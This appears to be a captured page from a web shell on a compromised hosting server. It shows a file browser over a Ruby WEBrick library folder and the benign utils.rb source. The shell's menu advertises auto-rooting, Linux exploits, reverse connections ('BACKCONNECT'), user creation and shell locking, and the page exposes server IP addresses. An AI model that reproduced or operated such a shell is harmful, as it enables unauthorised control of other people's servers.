Linux server123.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
LiteSpeed
: 198.54.126.127 | : 216.73.216.107
Cant Read [ /etc/named.conf ]
?8.4.14
ezdajrnh
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby18 /
lib64 /
ruby /
1.8 /
webrick /
[ HOME SHELL ]
Name
Size
Permission
Action
?;
httpauth
[ DIR ]
drwxr-xr-x
?;
httpservlet
[ DIR ]
drwxr-xr-x
accesslog.rb
2.25
KB
-rw-r--r--
cgi.rb
6.92
KB
-rw-r--r--
compat.rb
436
B
-rw-r--r--
config.rb
3.13
KB
-rw-r--r--
cookie.rb
3.03
KB
-rw-r--r--
htmlutils.rb
584
B
-rw-r--r--
httpauth.rb
1.31
KB
-rw-r--r--
httpproxy.rb
7.46
KB
-rw-r--r--
httprequest.rb
9.99
KB
-rw-r--r--
httpresponse.rb
7.96
KB
-rw-r--r--
https.rb
1.64
KB
-rw-r--r--
httpserver.rb
5.63
KB
-rw-r--r--
httpservlet.rb
669
B
-rw-r--r--
httpstatus.rb
3.51
KB
-rw-r--r--
httputils.rb
9.96
KB
-rw-r--r--
httpversion.rb
1.12
KB
-rw-r--r--
log.rb
2.03
KB
-rw-r--r--
server.rb
5.28
KB
-rw-r--r--
ssl.rb
4.22
KB
-rw-r--r--
utils.rb
2.54
KB
-rw-r--r--
version.rb
351
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : utils.rb
# # utils.rb -- Miscellaneous utilities # # Author: IPR -- Internet Programming with Ruby -- writers # Copyright (c) 2001 TAKAHASHI Masayoshi, GOTOU Yuuzou # Copyright (c) 2002 Internet Programming with Ruby writers. All rights # reserved. # # $IPR: utils.rb,v 1.10 2003/02/16 22:22:54 gotoyuzo Exp $ require 'socket' require 'fcntl' begin require 'etc' rescue LoadError nil end module WEBrick module Utils def set_non_blocking(io) flag = File::NONBLOCK if defined?(Fcntl::F_GETFL) flag |= io.fcntl(Fcntl::F_GETFL) end io.fcntl(Fcntl::F_SETFL, flag) end module_function :set_non_blocking def set_close_on_exec(io) if defined?(Fcntl::FD_CLOEXEC) io.fcntl(Fcntl::F_SETFD, Fcntl::FD_CLOEXEC) end end module_function :set_close_on_exec def su(user) if defined?(Etc) pw = Etc.getpwnam(user) Process::initgroups(user, pw.gid) Process::Sys::setgid(pw.gid) Process::Sys::setuid(pw.uid) else warn("WEBrick::Utils::su doesn't work on this platform") end end module_function :su def getservername host = Socket::gethostname begin Socket::gethostbyname(host)[0] rescue host end end module_function :getservername def create_listeners(address, port, logger=nil) unless port raise ArgumentError, "must specify port" end res = Socket::getaddrinfo(address, port, Socket::AF_UNSPEC, # address family Socket::SOCK_STREAM, # socket type 0, # protocol Socket::AI_PASSIVE) # flag last_error = nil sockets = [] res.each{|ai| begin logger.debug("TCPServer.new(#{ai[3]}, #{port})") if logger sock = TCPServer.new(ai[3], port) port = sock.addr[1] if port == 0 Utils::set_close_on_exec(sock) sockets << sock rescue => ex logger.warn("TCPServer Error: #{ex}") if logger last_error = ex end } raise last_error if sockets.empty? return sockets end module_function :create_listeners RAND_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + "0123456789" + "abcdefghijklmnopqrstuvwxyz" def random_string(len) rand_max = RAND_CHARS.size ret = "" len.times{ ret << RAND_CHARS[rand(rand_max)] } ret end module_function :random_string end end
Close